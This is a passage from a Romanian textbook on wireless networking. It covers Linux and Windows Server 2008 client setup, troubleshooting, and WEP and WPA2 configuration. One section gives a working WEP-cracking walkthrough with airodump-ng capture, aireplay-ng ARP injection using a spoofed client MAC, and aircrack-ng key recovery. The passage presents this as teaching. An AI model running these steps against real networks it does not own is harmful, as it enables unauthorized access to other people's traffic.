waters@myr:-$ waters@myr:-$ waters@myr:-$ waters@myr:-$ waters@myr:-$ sudo sudo sudo sudo sudo ifconfig iwconfig iwconfig iwconfig ifconfig wlan0 wlan0 wlan0 wlan0 wlan0 down mode managed essid guest channel 11 up

Configurarea de nivel 2 este complet i se poate verifica prin iwconfig:


waters@myr:~$ iwconfig wlan0 wlan0 IEEE 802.11g ESSID:"guest" Nickname:"" Mode:Managed Frequency:2.462 GHz Access Point: 00:19:E0:84:DD:4A Bit Rate=54 Mb/s Tx-Power=27 dBm Retry min limit:7 RTS thr:off Fragment thr=2346 B Power Management:off Link Quality=68/100 Signal level=-65 dBm Noise level=-75 dBm Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0 Tx excessive retries:0 Invalid misc:0 Missed beacon:0

Observaie: deoarece nc nu s-a realizat asocierea la reeaua 802.11b cu SSID guest, bitrate-ul clientului este nc setat pe valoarea implicit de 54 Mbps. Cum standardul 802.11g este cel mai ntlnit n reele fr fir, majoritatea clienilor vor avea caracteristicile implicite ale acestui protocol. Mai rmne de configurat doar asignarea unui IP pe interfaa wireless pentru a putea comunica la nivel 3 n reea. Una din diferenele importante dintre o reea ad hoc i una infrastructur este una de administrare. ntr-o reea ad hoc nu exist administrator i de aceea fiecare utilizator trebuie s seteze IP-ul static pe interfaa de reea, avnd grij ca toate IP-urile s se afle n acelai subnet. Reeaua de tip infrastructur va presupune un minim de administrare i mai mult, existena unei metode centralizate de setare a adreselor IP pe fiecare staie, fr intervenia utilizatorilor: un server DHCP. n cazul n care AP-ul ofer funcionalitatea unui server DHCP, intervalul din care serverul DHCP ofer adrese IP poate fi configurat din interfaa grafica a AP-ului.

5-10: configurare serverului DHCP Deci, se poate finaliza configurarea clientului wireless prin efectuarea unei cereri DHCP pe interfaa wlan0 cu ajutorul comenzii dhclient:
waters@myr:~$ sudo dhclient wlan0 Internet Systems Consortium DHCP Client V3.0.6 Copyright 2004-2007 Internet Systems Consortium. All rights reserved. For info, please visit http://www.isc.org/sw/dhcp/ Listening on LPF/wlan0/00:18:de:b9:ac:da Sending on LPF/wlan0/00:18:de:b9:ac:da Sending on Socket/fallback DHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 5 DHCPOFFER of 192.168.2.105 from 192.168.2.1 DHCPREQUEST of 192.168.2.105 on wlan0 to 255.255.255.255 port 67 DHCPACK of 192.168.2.105 from 192.168.2.1 bound to 192.168.2.105 -- renewal in 48000 seconds.

183 | W i r e l e s s

5.2.2.3.2 Configurarea permanent


Pentru o configuraie persistent, introducem directivele specificate anterior, n fiierul
/etc/network/interfaces
auto wlan0 iface wlan0 inet dhcp wireless-mode managed wireless-channel 11 wireless-essid guest

Prin realizarea repornirii serviciului de reea, se vor aplica parametrii mode, channel si SSID, iar apoi se va face o cerere DHCP pentru configurarea parametrilor de nivel 3.
waters@myr:~$ sudo /etc/init.d/networking restart * Reconfiguring network interfaces... Internet Systems Consortium DHCP Client V3.0.6 Copyright 2004-2007 Internet Systems Consortium. All rights reserved. For info, please visit http://www.isc.org/sw/dhcp/ Listening on LPF/wlan0/00:18:de:b9:ac:da Sending on LPF/wlan0/00:18:de:b9:ac:da Sending on Socket/fallback DHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 3 DHCPOFFER of 192.168.2.107 from 192.168.2.1 DHCPREQUEST of 192.168.2.107 on wlan0 to 255.255.255.255 port 67 DHCPACK of 192.168.2.107 from 192.168.2.1 bound to 192.168.2.107 -- renewal in 53306 seconds. [ OK ]

5.2.2.3.3 Testarea reelei


n continuare se va analiza o problem de conectivitate ce poate aprea dup configurarea unei reele de tip infrastructur. Se va presupune c administratorul efectueaz un ping ctre adresa www.google.com, iar comanda ntoarce mesajul ICMP: Destination Unreachable. n mod evident exist o problema de conectivitate n reea. Pentru a o rezolva, se vor parcurge urmtorii pai:
1. Verificarea corect a asocierii la reeaua 802.11b

Dup asociere se poate verifica sincronizarea parametrilor ntre clientul wireless i reeaua 802.11b, printre care adresa MAC a AP-ului cu care s-a fcut asocierea i rata de transfer ce a fost negociat la maximul posibil al reelei: 11Mpbs.
waters@myr:~$ iwconfig wlan0 wlan0 IEEE 802.11g ESSID:"guest" Nickname:"" Mode:Managed Frequency:2.462 GHz Access Point: 00:19:E0:84:DD:4A Bit Rate=11 Mb/s Tx-Power=27 dBm Retry min limit:7 RTS thr:off Fragment thr=2346 B Power Management:off Link Quality=93/100 Signal level=-37 dBm Noise level=-75 dBm Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0 Tx excessive retries:0 Invalid misc:0 Missed beacon:0

2. Verificarea conectivitii la gateway.

O cererea DHCP efectuat configureaz mai mult dect adresa IP pe interfaa wireless; aceasta introduce i o ruta implicit (rut default) ctre adresa IP a gateway-ului i ofer staiei i o adres valid a unui server DNS. Existena rutei implicite se verific prin comanda route:
waters@myr:~$ route -n Kernel IP routing table Destination Gateway 192.168.2.0 0.0.0.0 0.0.0.0 192.168.2.1 Genmask 255.255.255.0 0.0.0.0 Flags Metric Ref U 0 0 UG 100 0 Use Iface 0 wlan0 0 wlan0

Rezultatul comenzii conine o rut implicit ctre adresa 192.168.2.1. Dup ce s-a aflat adresa IP a gateway-ului, se poate testa conectivitatea cu acesta prin comanda ping:

184 | R e e l e L o c a l e
waters@myr:~$ ping 192.168.2.1 -c 3 PING 192.168.2.1 (192.168.2.1) 56(84) 64 bytes from 192.168.2.1: icmp_seq=1 64 bytes from 192.168.2.1: icmp_seq=2 64 bytes from 192.168.2.1: icmp_seq=3 bytes of data. ttl=64 time=1.75 ms ttl=64 time=1.64 ms ttl=64 time=2.19 ms

--- 192.168.2.1 ping statistics --3 packets transmitted, 3 received, 0% packet loss, time 1998ms rtt min/avg/max/mdev = 1.640/1.865/2.199/0.240 ms

3. Verificarea existenei unei adrese IP pentru serverul de nume (DNS)

Dac se ajunge n acest pas, se poate considera ca accesul n reeaua local este lipsit de probleme, odat ce se poate da ping n adresa de gateway. Singurul lucru ce ar putea cauza probleme de conectivitate n exterior este protocolul DNS. Pentru a verifica dac serverul DHCP a oferit o adres pentru un server de nume, se va consulta fiierul /etc/resolv.conf:
waters@myr:~$ cat /etc/resolv.conf nameserver 82.76.253.115

Dac exist un server de nume configurat, problema reelei prsete responsabilitatea administratorul i trece de partea ISP-ului. Pasul urmtor pentru rezolvarea problemei este contactarea ISP-ului i raportarea problemei.

5.3 Configurarea unei reele wireless n Linux - configurri avansate


5.3.1 Partajarea unei conexiuni la Internet ntr-o reea ad hoc
Una dintre configuraiile ce se poate ntlni des n funcionarea reelelor att pe fir ct i fr fir este partajarea unei conexiuni la Internet. Scenariul acesta presupune cel puin dou PC-uri aflate ntr-o reea ad hoc fr fir sau o reea Ethernet pe fir.

5-11: Partajarea unei conexiuni la Internet Staia B dispune i de o legtur ctre Internet (deci are 2 interfee de reea montate) i poate comunica att cu staia A, ct i cu ntreaga reea WWW. Dei staia A nu are dect o interfaa de reea, trebuie s i fie asigurat i acesteia conectivitate n Internet. Exist, n general, dou soluii ce se pot adopta n aceast situaie:

185 | W i r e l e s s se cumpr un router pentru reeaua local i se conecteaz cele dou staii direct la router. se configureaz staia B ca gateway/router pentru staia A.

Se va analiza pe scurt varianta 2, cci varianta 1 presupune mai mult un efort financiar, dect unul de configurare. Rezultatul urmrit poate fi descris astfel:
staia A trebuie s tie s trimit tot traficul destinat unei staii n Internet, ctre staia B. Cu alte cuvinte, staia A trebuie s configureze ca gateway pe staia B, folosind o rut static. staia B va trebui s trimit pe interfaa eth0 tot traficul primit pe interfaa wlan0 i destinat n Internet. (pentru ca staia A s poat trimite pachete n Internet) staia B va trebui s trimit pe interfaa wlan0 tot traficul primit pe interfaa eth0 i destinat staiei A. (pentru ca staia A s poat primi pachete din Internet)

Pentru a putea realiza aceast configuraie este nevoie de un firewall Linux pe staia B. Ubuntu are deja inclus un firewall n linie de comand numit iptables, nsa utilizarea sa va fi studiat ulterior n aceast carte, iar nelegerea sintaxei iptables nu este necesar n acest capitol pentru a oferi o soluie n problema de fa. Pentru a obine comportamentul dorit, se va instala pachetul firestarter, un firewall extrem de simplist. Comand pentru instalare este:
waters@myr:~$ sudo apt-get install firestarter

Dup instalare, se poate porni programul prin introducerea firestarter & n linia de comand. Acesta va porni intr-un mod wizard de configurare n care va trebui specificat interfaa din reeaua local i interfaa ce duce spre gateway. Restul configuraiei de firewall va fi fcut de ctre Firestarter automat. Se indic deci interfaa spre gateway:

i interfaa spre reeaua local:

186 | R e e l e L o c a l e

A mai rmas doar configurarea gateway-ului pe staia A. Comanda de mai jos indic staiei A, s trimit toate pachetele destinate n Internet, staiei B.
waters@myr:~$ sudo route add default gw IP_wlan0_B

5.3.2 Configurri de securitate n wireless


n seciunea ce urmeaz vor fi prezentate att configuraiile pe client ct i cele de pe un router wireless Linksys.

5.3.2.1 Configurarea WEP


5.3.2.1.1 Configurarea routerului wireless
Configurarea routerului se face printr-o interfa WEB simpl accesat prin protocolul HTTP. Pentru a putea iniia ns o conexiune HTTP (nivel 7) la routerul wireless, este nevoie de conectivitate de nivel 3 ntre staie i router. Asigurarea legturii de nivel 1 i 2 se poate face prin asocierea cu reeaua implicit wireless prezent pe router sau prin folosirea unui cablu crossover pentru conectarea la unul din porturile de LAN. Routerele wireless Linksys, au activat n mod implicit un server DHCP ce ofer conectivitatea de nivel 3 prin oferirea unei adrese IP din aceeai subreea cu IP-ul de management al routerului, folosit pentru accesarea interfeei WEB de configurare. Adresa IP implicit prin care se poate accesa interfaa wireless a routerelor wireless Linksys este 192.168.1.1.

5-12: Accesarea routerului prin HTTP

187 | W i r e l e s s

Configurarea WEP, pe router, presupune de fapt alegerea lungimii cheii i generarea acesteia dup o parol introdus:

5-13: Configurare WEP pe router wireless

5.3.2.1.2 Configurare clientului wireless


Pe client, tot ce trebuie fcut este adugarea linie de configurare de mai jos n fiierul
/etc/network/interfaces.
wireless-key s:7733-7031-7377-3361-6B

Dup repornirea serviciului de reea, se obine conectivitate cu suport WEP.


root@myr:/home/waters# iwconfig wlan0 wlan0 IEEE 802.11g ESSID:"test" Nickname:"" Mode:Managed Frequency:2.437 GHz Access Point: 00:1D:7E:4C:4F:1D Bit Rate=54 Mb/s Tx-Power=27 dBm Retry min limit:7 RTS thr:off Fragment thr=2346 B Encryption key:7733-7031-7377-3361-6B Power Management:off Link Quality=98/100 Signal level=-25 dBm Noise level=-127 dBm Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0 Tx excessive retries:0 Invalid misc:0 Missed beacon:0

Atenie! dup cum s-a prezentat anterior n subcapitolul de securitate n reele fr fir, securitatea WEP este foarte uor de compromis; un utilizator contient de acest risc nu va trebui s foloseasc niciodat acest tip de criptare, dect dac dorete s i sparg propria reea, n scop didactic.

5.3.2.2 Configurarea WPA2 Personal


Standardul de securitate recomandat pentru reele fr fir de tip infrastructur este 802.11i, cunoscut i sub numele de WPA2. Configurarea se va face ca i n cazul WEP, att pe AP ct i pe client.

5.3.2.2.1 Configurarea routerului


Configurarea WPA2 se poate face cu protocolul TKIP sau AES, avnd grij ca alegerea uneia din opiuni s se reflecte i n setrile realizate pe client.

188 | R e e l e L o c a l e

5-14: Configurarea WPA2 pe un router wireless

5.3.2.2.2 Configurarea clientului wireless


Pentru client, se va realiza o configurare persistent a reelei pentru suport WPA2. n acest sens va trebui editat fiierul /etc/network/interfaces pentru a reflecta schimbarea nivelului de securitate. Atenie! dac configuraia ce urmeaz se realizeaz pe o plac wireless Ralink (driver RTxxx), va trebui instalat driverul NDISwrapper n locul celui Serialmonkey, prezent n Linux. Suportul WPA2 va fi adugat folosind un utilitar n linie de comand numit wpasupplicant. Se va instala mai nti pachetul pentru acest utilitar:
waters@myr:~$ sudo apt-get install wpasupplicant

Pentru a se putea realiza asocierea cu o reea WPA2, n fiierul de configurare va trebui introdus cheia partajat WPA2 care a fost setat i pe AP. Problema este c /etc/network/interfaces are drept de read implicit pentru orice utilizator din sistem. Degeaba s-ar oferi securitate WPA2 reelei, dac parola ar fi introdus n text clar ntr-un fiier de configurare pe care oricine l poate consulta. n acest punct intervine wpasupplicant prin oferirea unui utilitar cu ajutorul cruia se poate genera un hash de 64 caractere, care poate fi ulterior introdus n fiierul interfaces. Acest utilitar se numete wpa-passphrase, iar pentru a genera hash-ul are nevoie la intrare de SSID-ul reelei i de cheia partajat a reelei.
root@myr:/home/rl# wpa_passphrase YoGi p1d@n3t$s5p^a7 network={ ssid="YoGi" #psk="p1d@n3t^a7" psk=a8a9c6966946c520a16d020e7590d1ad35d4de60332a22d7349264007194b0e9 }

Alturi de cheia partajat, n fiierul de configurare vor mai trebui adugate urmtoarele directive:
1. 2. 1. 2. wpa-driver specific driverul folosit. Dac nu s-a instalat un driver cu ajutorul NDISwrapper, se va folosi parametrul wext (Linux wireless extensions); acesta este driverul generic instalat de Linux. wpa-ssid specific SSID-ul reelei. wpa-ap-scan primete parametrul 1, daca reeaua are SSID broadcast activat, i parametrul 2, n caz contrar. wpa-proto versiunea protocolului. Parametrii pot fi WPA2 sau WPA. wpa-pairwise, wpa-group aceste dou directive primesc acelai tip de parametru, care specific procolul de criptare folosit. Valorile pot fi: CCMP pentru AES TKIP pentru TKIP (asigura compatibilitatea WPA2 cu WPA) wpa-key-mgmt este folosit pentru a indica metoda de autentificare folosit. Accept parametrii: WPA-PSK n cazul autentificrii pe baz de cheie partajat WPA-EAP n cazul autentificrii pe baza unui server specializat (RADIUS, TACACS+)

189 | W i r e l e s s

wpa-psk specific cheia partajat sub form de hash accept ca parametru hash-ul generat anterior cu wpa_passphrase

Conform specificaiilor de mai sus, fiierul de configurare pentru reeaua test arat astfel:
auto wlan0 iface wlan0 inet dhcp wpa-driver wext wpa-ssid YoGi wpa-ap-scan 1 wpa-proto WPA2 wpa-pairwise CCMP wpa-group CCMP wpa-key-mgmt WPA-PSK wpa-psk a8a9c6966946c520a16d020e7590d1ad35d4de60332a22d7349264007194b0e9

5.3.2.3 Compromiterea unui sistem pe baz de cheie WEP


nainte de a ncepe compromiterea efectiv, trebuie luate n considerare cteva caracteristici pe care WEP le deine. n primul rnd, WEP folosete pentru criptarea datelor un algoritm de criptare simetric denumit RC4, folosind pentru criptarea i decriptarea datelor, chei pe 40 sau 60 de bii. Cheile sunt cunoscute de AP (Access Point) i de toate nodurile crora li se permite asocierea. IV (Initialization Vector) reprezint un numr pe 24 de bii, generat aleator de fiecare staie ce dorete s transmit i care mpreun cu cheia partajat va genera cheia RC4. Acesta este transmis n clar cu fiecare pachet destinaiei. Vulnerabilitatea acestui protocol provine tocmai din folosirea acestor vectori de iniializare. Cu o lungime de numai 24 de bii, ntr-o reea wireless n care exist un trafic susinut, WEP pn la urm va folosi aceeai vectori de iniializare pentru diferite pachete. Aceasta rezult n pachete ce au iruri generate de ctre RC4 foarte asemntoare. n concluzie, dac exist destul de multe IV-uri capturate, este posibil aflarea cheii WEP. Modul managed sau ad hoc al driverului nu suport ns captura de pachete fr ca clientul s fie asociat cu un AP. Pentru a face posibil captura trebuie ca placa de reea s fie setat n modul Monitor.
waters@myr:~$ sudo ifconfig wlan0 down waters@myr:~$ sudo iwconfig wlan0 mode Monitor waters@myr:~$ sudo ifconfig wlan0 up

Captura pachetelor i spargerea cheii WEP se vor realiza cu pachetul aircrack-ng. Acesta se poate instala folosind utilitarul apt n linie de comand:
waters@myr:~$ apt-get install aircrack-ng

Pachetul include urmtoarea suit de utilitare:



airodump face posibila captura de pachete i implicit de valori IV aircrack folosit pentru analiza capturii de IV-uri si gsirea cheii WEP airreplay acesta este un packet injector. Cu ajutorul su se poate genera trafic la care AP-

ul s fie obligat s rspund cu pachete ce include valori IV.

n scenariul ce urmeaz se va folosi mai nti airodump pentru a captura pachetele din reea ntr-un fiier de pe disc. Asupra acestuia se va aplica aircrack pentru a analiza vectorul de IV i a gsi parola. Odat setat modul Monitor, se poate porni captura de pachete cu airodump. Ca parametri se vor folosi:

-t: specific tipul de pachete criptate ce trebuie capturat. Valorile posibile sunt WEP, WPA,

WPA2. -b: specific banda n care funcioneaz reeaua wireless

190 | R e e l e L o c a l e
-w: specific numele fiierul n care se va analiza captura -c: pentru precizarea canalului care va fi scanat. Dac nu se precizeaz canalul scanarea se va

face pe toate canalele

Not: se presupune c informaii precum banda sau canalul pe care reeaua funcioneaz au fost aflate anterior printr-o scanare simpl cu utilitarul iwlist.
waters@myr:~$ sudo airodump-ng -t WEP -b g -c 11 -w capture wlan0 [ CH 11 ][ Elapsed: 53 s ][ 2008-08-05 11:57 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ES 00:1D:7E:4C:4F:1D 0 100 523 50 1 11 54. WEP WE l BSSID 00:1D:7E:4C:4F:1D STATION 00:1D:D9:5D:8F:00 PWR 0 Rate 54-54 Lost 2 Packets 235 Probes

Dei captura de mai sus a fost lsat rulnd 5 minute, se poate observa c numrul de pachete transmis de staia cu adresa MAC 00:1D:D9:5D:8F:00 a fost doar 235. Pentru a putea sparge o cheie WEP de 128 bii cu o probabilitate de 100% va fi nevoie ca indicatorul de date utile(#Data) s fie cel puin 100000 iar numrul de pachete cel puin la fel de mare. Din pcate, momentan, n reeaua de mai sus nu are loc foarte mult transfer de date. Dei s-ar putea atepta pn cnd activitatea de pe mediu ar fi ceva mai mare, pachetul aircrack-ng ofer o metod mai rapid. Folosind utilitarul airepaly, se pot trimite pachete ARP request la care AP-ul este obligat s rspund. Din pachetele de ARP reply se pot captura IV-urile de care este nevoie. ns AP-ul nu va rspunde niciodat la un request ce vine de la o adresa MAC de nu este asociat reelei. Din acest motiv, pentru ca acest atac sa funcioneze, pachetele ARP vor trebui trimise cu un MAC surs pe care AP-ul l cunoate n tabela sa ARP. Una din cele mai importante statistici din rezultatul pe care l ofer comanda airodumpng, este un tabel al staiilor asociate deja la reea ce conine i adresele MAC ale acestor staii. Astfel se va folosi drept MAC surs unul dintre MAC-urile statiilor obinute anterior. Sintaxa comenzii aireplay ce va fi folosit n acest caz este: aireplay-ng <tipul pachetelor injectate> -b <Adresa MAC a AP-ului> -h <Adresa MAC a unui client asociat> <interfaa de reea> Tipul pachetelor ARP request este identificat de numrul 3. Pentru mai muli parametrii i mai multe tipuri de pachete ce pot fi generate, se va consulta pagina man a utilitarului. Se poate deci porni injectarea de pachete astfel:
waters@myr:~$ sudo aireplay-ng -3 -b 00:1D:7E:4C:4F:1D -h 00:1D:D9:5D:8F:00 wlan0

Not: n atacul de mai sus, nu conteaz dac AP-ul are configurat securitate bazat pe filtrare de adrese MAC, cci pentru pachetele ARP se folosete ca adresa surs, o adres deja asociat, nefiltrat. Acum c s-a generat destul trafic, pentru decriptarea pachetelor de date capturate se va folosi utilitarul aircrack-ng, specificndu-i numele fiierului n care s-au salvat datele capturate.
waters@myr:~$ sudo aircrack-ng capture.cap Opening capture.cap [...] KEY FOUND! [ AA:BB:CC:DD:EE ] Probability: 100%

191 | W i r e l e s s

5.4 Wireless n Windows Server 2008


Window Server 2008 vine cu o multitudine de schimbri i mbuntiri din seria protocoalelor 802.11. Suportul pentru wireless este acum nativ, mpreun cu o arhitectur de implementare care aduce mari mbuntiri interfeei de pe partea utilizatorului, ofer posibilitatea stabilirii de politici de grup pentru conexiunile wireless, capabiliti de autoconfigurare. De asemenea, suport standardul de securitate WPA2 (Wi-Fi Protected Access 2). Sistemul ncorporat de suport pentru wireless se integreaz acum cu NAP1 la autentificarea prin 802.1x, ofer posibilitatea de diagnosticare i suport configurarea din linie de comand. Aplicabilitate. Cu excepia metodei pentru activarea serviciului wireless, explicat mai jos, majoritatea procedurilor i utilitarelor descrise n continuare se aplic deopotriv pentru Windows Server 2008 ct i pentru Windows Vista.

5.4.1 Activarea serviciului Wireless n Windows Server 2008


n general, la instalarea sistemului, Windows Server 2008 va instala automat driver-ele pentru majoritatea echipamentelor de reea. Interfeele ce nu sunt niciodat configurate automat sunt cele wireless. De asemenea, n cele mai multe dintre cazuri, nici instalarea manual a driverelor pentru aceste componente nu va reui. Acest lucru se ntmpl deoarece capabilitile de wireless ale lui Windows Server 2008 sunt cumulate ntr-un serviciu wireless, inactiv n mod implicit. Odat activat, acest serviciu se va ocupa att de managementul conexiunilor wireless ct i de centralizarea profilurilor care vor permite conectarea utilizatorilor la reele wireless. Instalarea serviciului e posibil indiferent de prezena unei interfee wireless n sistem. Pentru a activa capabilitile de wireless ale lui Windows Server 2008 este necesar instalarea acestora ca feature al sistemului de operare. Pentru aceasta, se execut paii urmtori:
Din meniul Start > Administrative Tools > Server Manager sau direct din Quick Launch se pornete Server Manager n subcategoria Features i se localizeaz Wireless LAN Service n lista de feature-uri. Se apas pe Next i se confirm instalarea: O instalare terminat cu succes va afia urmtorul mesaj, la categoria Results:

5-15: Instalarea serviciului de Wireless terminat cu succes

5.4.2 Configurarea profilurilor wireless


O conexiune configura la o reea wireless este denumit un profil wireless. Modalitile prin care aceste profiluri pot fi configurate sunt urmtoarele:

Network Access Protection: http://technet.microsoft.com/en-us/network/bb545879.aspx

192 | R e e l e L o c a l e Fereastra Connect to a network, principala metod accesibil utilizatorilor individuali pentru ai configura conexiunea la o reea wireless Politici de grup (Group policy) accesibile administratorilor ntr-un mediu Active Directory1 pentru a configura centralizat i a distribui configuraia altor calculatoare membre ale domeniului. Linie de comand, folosind utilitarul netsh.exe i comanda netsh wlan, ce permite configurarea manual a reelelor wireless. Netsh permite, de asemenea, exportarea profilurilor wireless n fiiere xml i importarea lor ulterioar, eventual pe alte sisteme.

5.4.3 Conectarea la o reea wireless

Accesarea interfeei Connect to a network poate fi realizat n mai multe moduri: Din fereastra Manage network connections, accesibil din Control Panel > Network and sharing center > Manage network connections. Din meniul de Connect/Disconnect al ferestrei Manage Wireless Connections, accesibil la
Control Panel connection. > Network and sharing center > Manage wireless

Dac este prezent, prin clic pe pictograma Network din System Tray, urmat de clic pe opiunea Connect or disconnect... Doar pe Windows Vista, prin accesarea opiunii Connect to... din meniul Start.

5-16: Starea conexiunilor (System Tray > Network)

http://www.microsoft.com/windowsserver2008/en/us/active-directory.aspx

193 | W i r e l e s s

5-17: Fereastra "Connect to a network" Fereastra Connect to a network nlocuiete vechea fereastr de Choose a wireless network din Windows XP SP2. Aceasta suport acum i conexiunile VPN (Virtual Private Network) precum i conexiunile de tip dial-up, inclusiv PPPoE (Point-to-Point Protocol over Ethernet). Pentru conectarea la una dintre reelele din list, este suficient un dublu-clic pe reeaua dorit sau selectarea ei i apsarea pe Connect. Dac s-a configurat o reea de tip non-broadcasting, aceasta va aprea n list sub numele de Unnamed network iar ncercarea de conectare la ea va cere introducerea numelui reelei1. Pentru crearea unei noi conexiuni, din fereastra de mai sus se alege opiunea Set up a connection or network.

5-18: Alegerea tipului de conexiune ce va fi creat Pentru conectarea la o reea non-broadcasting la pasul precedent se alege Manually connect to a wireless network i se completeaz parametrii reelei: Atenie! Dac opiunea Manually connect to a wireless network nu este disponibil, se recomand verificarea instalrii corecte a adaptorului wireless i identificarea corect a sa din fereastra Manage network connections.

Detectarea unei reele wireless non broadcasting este posibil deoarece unele AP-uri pot fi configurate astfel nct s trimit cadre de tip beacon avnd cmpul de SSID setat pe valoarea NULL. Mai multe detalii despre cadrele beacon la http://en.wikipedia.org/wiki/Beacon_frame.

194 | R e e l e L o c a l e

5-19: Configurarea parametrilor pentru o reea wireless non-broadcasting Informaiile cerute pentru conectare sunt urmtoarele:
Network name: reprezint SSID-ul reelei Security type: descrie metoda de autentificare n reea. Sunt permise: No authentication (open) WEP WPA: o Personal o Enterprise WPA2: o Personal o Enterprise 802.1x: autentificare IEEE 802.1x cu WEP (dynamic WEP)

Autentificarea de tip shared key nu este inclus n list. Aceasta poate fi configurat ulterior dar Microsoft nu recomand utilizarea ei deoarece ofer un nivel extrem de sczut de securitate.
Encryption type reprezint metoda folosit pentru criptarea cadrelor de date trimise n reea. Opiunile disponibile depind de metoda aleas de autentificare:
o o o Pentru No authentication (open) se poate selecta None Pentru autentificarea WEP i 802.1x se poate selecta WEP Pentru diverse variante WPA se poate selecta TKIP sau AES.

Opiunile disponibile la criptare depind, de asemenea, i de capabilitile interfeei de reea wireless i a driverului pe care aceasta l folosete.
Security key / Passphrase: Se introduce cheia WEP n cazul securitii de tip WEP, cheia partajata WPA sau WPA2 pentru variantele Personal ale acestora, iar pentru variantele Enterprise i 802.1x, cheia se determin automat la realizarea autentificrii. Start this connection automatically: Windows se va conecta automat la reea cnd aceasta este detectat. Altfel, conectarea trebuie facut manual prin fereastra Connect to a network.

195 | W i r e l e s s Connect even if the network is non broadcasting: Windows va ncerca s se conecteze la reea chiar i cnd aceasta nu i anun SSID-ul prin broadcast. Se vor trimite cadre de tip probe request1 ce reprezint un risc de securitate deoarece acestea conin numele reelei cutate.

5-20: Noua reea wireless adugat cu succes Dup conectarea cu succes la reeaua specificat, Windows o va afia n fereastra Connect to a network. Din ecranul de confirmare a crerii noii reele se poate alege opiunea Change connection settings, ce va permite modificarea parametrilor de securitate i de conectare automat. Tot aici, la seciunea de securitate, se poate alege opiunea Shared (nedisponibil la crerea reelei), dei nu este recomandat datorit securitii sczute. n funcie de tipul de securitate ales, se configureaz fie o cheie de autentificare fie o metod de autentificare n reea. n cazul din urm, deci la configurarea unei autentificri de tip WPA-Enterprise, WPA2-Enterprise sau 802.1x, sunt necesare i urmtoarele configurri ulterioare:
Choose a network authentication method: Se alege o metod EAP (Extensible Authentication Protocol) i se apas Settings pentru a configura tipul de EAP ales. Cache user information for subsequent connections to this network: Opiune care specific faptul c, atunci cnd utilizatorul se deconecteaz din sistem, datele folosite pentru autentificare i vor fi sau nu terse din registry. n cazul n care sunt terse, datele vor fi cerute din nou la fiecare autentificare n reea.

5.4.4 Managementul conexiunilor wireless


Dup crearea i/sau detectarea cu succes a reelelor wireless, managementul acestora poate fi realizat dintr-o interfa specializat pus la dispoziie de Windows Server 2008 i accesibil prin Control Panel > Network and sharing center > Manage wireless networks.

Mai multe detalii despre tipurile de cadre n wireless la adresa: http://www.wi-fiplanet.com/tutorials/article.php/1447501

196 | R e e l e L o c a l e

5-21: Fereastra Manage wireless networks n fereastra Manage wireless networks pot fi vizualizai parametrii cu care au fost configurate reelele wireless, li se pot modifica proprietile i, bineneles, pot fi terse sau adugate noi profiluri wireless. De asemenea, tot de aici se pot rearanja n ordinea preferinelor profilurile wireless configurate, ordine folosit de ctre Windows atunci cnd sunt detectate una sau mai multe reele wireless. Dei managementul reelelor wireless poate fi realizat prin interfaa Manage wireless connections, conexiunea wireless curent poate fi configurat i prin interfaa Manage network connections, cu diferena c aceasta va afia toate tipurile de conexiuni prezente n sistem, att cele detectate automat (cum ar fi interfeele Ethernet) ct i cele configurate manual (spre exemplu, conexiuni Bluetooth sau PPPoE), exemplificate n imaginea 5-22:

5-22: Fereastra Manage network connections

5.4.5 Conexiuni wireless ad hoc


O reea ad hoc1 mai este denumit i reea computer-to-computer, deoarece calculatoarele se conecteaz direct, fr a mai folosi dispozitive intermediare ca huburi, switchuri sau routere. Avantajul unei reele wireless ad hoc este c poate fi instalat practic
1

De fapt, o reea ad hoc presupune o reea wireless i nu are sens n alt context.

197 | W i r e l e s s

oriunde cu destul de mult uurin, poate fi folosit n orice scop (partajarea fiierelor, jocuri n reea) i permite chiar i partajarea unei conexiuni la Internet. Pentru a crea o reea ad hoc n Windows Server 2008, se urmeaz secvena urmtoare de pai:
1. Se deschide interfaa Connect to a network (prezentat n 5.4.3) 2. Se alege Set up a connection or network 3. Din lista tipurilor de conexiuni disponibile, se alege Set up an ad hoc (computer-to-computer) network i se apas Next.

5-23: Configurarea unei reele ad hoc


4. n fereastra urmtoare se completeaz numele (SSID-ul) reelei, se alege tipul de securitate implementat (nu orice plac wireless suport WPA2 n mod ad hoc) i se introduce passphrase-ul reelei.

5-24: Reeaua ad hoc creat cu succes


5. Windows anun faptul c reeaua a fost creat cu succes. Noua reea apare acum n interfaa Connect to a network iar sistemul se conecteaz automat la ea.

5-25: Reeaua ad hoc nou creat, n interfaa Connect to a network

198 | R e e l e L o c a l e

Atenie! Dup cum s-a menionat mai sus, dup crearea unei reele wireless sistemul se conecteaz automat la ea, ceea ce implic faptul c orice alt conexiune wireless ce era activ n acel moment va fi deconectat. Dac nu se bifeaz opiunea Save this network (figura 5-23) profilul reelei nou create va fi ters automat n momentul n care ultimul client se deconecteaz de la ea sau cnd cel care a creat reeaua se deconecteaz sau iese din raza celorlaltor clieni.1

5.5 Administrarea n linie de comand i PowerShell


5.5.1 Managementul serviciului wireless prin netsh wlan
netsh este un utilitar disponibil n versiunile de Windows 2000, XP, 2003 i 2008/Vista. Netsh.exe poate fi folosit pentru configurarea interfeelor de reea, a protocoalelor de rutare,

poate aplica filtre, poate modifica rute i poate seta o multitudine de parametri ai interfeelor de reea. Parametrul wlan reprezint un context al comenzii netsh i este folosit mpreun cu aceasta pentru a efectua modificri asupra configuraiilor reelelor wireless. Pentru a folosi comanda, se introduce netsh wlan fie n promptul de comand cmd.exe, fie n PowerShell.

5.5.1.1 Comenzi de tip show


Pentru o list complet a parametrilor ce pot fi folosii mpreun cu forma show a netsh wlan, se introduce una dintre comenzile:
PS C:\Users\Administrator> netsh wlan show PS C:\Users\Administrator> netsh wlan show ?

O serie important de informaii sunt oferite de comanda netsh wlan show drivers; comanda afieaz capabilitile driverului interfeei wireless instalate n sistem. Se pot identifica tipurile de standarde suportate, protocoalele de securitate ce pot fi folosite, precum i informaii despre driverul propriu-zis. Opional, se poate aduga comenzii parametrul interface, cu sintaxa interface=Wireless Network Connection, prin care se specific o anumit interfa wireless:
